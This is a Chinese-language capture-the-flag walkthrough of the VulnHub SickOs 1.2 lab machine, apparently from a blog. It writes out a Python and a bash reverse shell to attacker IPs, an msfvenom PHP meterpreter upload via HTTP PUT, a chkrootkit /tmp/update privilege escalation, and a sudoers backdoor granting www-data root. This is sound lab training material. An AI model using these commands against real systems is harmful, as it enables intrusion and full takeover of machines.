前言
⏰时间:2023.7.20
🗺️靶机地址:https://www.vulnhub.com/entry/sickos-12,144/
⚠️文中涉及操作均在靶机模拟环境中完成,切勿未经授权用于真实环境。
🙏本人水平有限,如有错误望指正,感谢您的查阅!
🎉欢迎关注🔍点赞👍收藏⭐️留言📝
信息收集
看看80端口
把图片down下来strings分析了下,也没啥
dirb扫目录扫到/test/
文件上传
有文件读取,试试看能不能文件上传
改为put可以成功
试试写入一句话
看有没有python
反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.58.153",7878));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
但是反弹不了,可能有防火墙限制
用msf的反弹shell,端口443试试
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.58.153 LPORT=443 -f raw > shell.php
上传shell.php
curl -v -H 'Expect:' -T shell.php "http://192.168.58.154/test/"
-v:显示详细的输出信息,包括请求和响应的头部信息。
-H 'Expect:':在请求头中添加一个Expect标头字段,值为空,避免请求头出现Expect: 100-continue ,从而引发不必要的错误
-T shell.php:将本地的shell.php文件作为请求主体发送到服务器。
"http://192.168.247.142/test/" : 指定上传文件的目标url路径
不加 -H ‘Expect:’,失败,并不是所有的 Server 都会正确响应100-continue,反而会返回417 Expectation Failed
加-H ‘Expect:’,成功
msf配置监听
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.58.153
msf6 exploit(multi/handler) > set lport 443
msf6 exploit(multi/handler) > run
点击shell.php上线
python -c ‘import pty;pty.spawn(“/bin/bash”)’ 拿到稳定shell
寻找提权点
上传linpeas.sh扫描
存在内核提权
计划任务是root运行的
sudo用户
搜一下计划任务
find / -name cron* 2>/dev/null
在/etc/cron.hourly里发现chkrootkit, 是个监测rootkit木马的工具
chkrootkit提权
同样搜一下相关文件,看下版本是0.49
搜索利用exp得到提示
- Put an executable file named 'update' with non-root owner in /tmp
(not mounted noexec, obviously)
# 在/tmp中放置一个名为“update”的非root所有者的可执行文件
- Run chkrootkit (as uid 0)
Result: The file /tmp/update will be executed as root, thus effectively
rooting your box, if malicious content is placed inside the file.
# 文件/tmp/update将以root用户身份执行,因此,如果文件中放置了恶意内容,则可以有效地root您的机器。
If an attacker knows you are periodically running chkrootkit (like in
cron.daily) and has write access to /tmp (not mounted noexec), he may
easily take advantage of this.
#如果攻击者知道您定期运行chkrootkit (比如cron.daily),并且对/tmp (没有挂载noexec) 有写权限,那么他很容易利用这一点。
echo'#!/bin/bash\nbash -i >& /dev/tcp/192.168.247.129/443 0>&1\n' > /tmp/update
chmod 777 /tmp/update
nc -nlvp 443
查看newRule文件,防火墙只允许22,80,8080,443通过
sudo提权
rm -f update #删除之前的update
#给www-data加入sudo权限:
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
chmod +x /tmp/update
ls -la /etc/sudoers #等一会儿查看
sudo su #成功获得root权限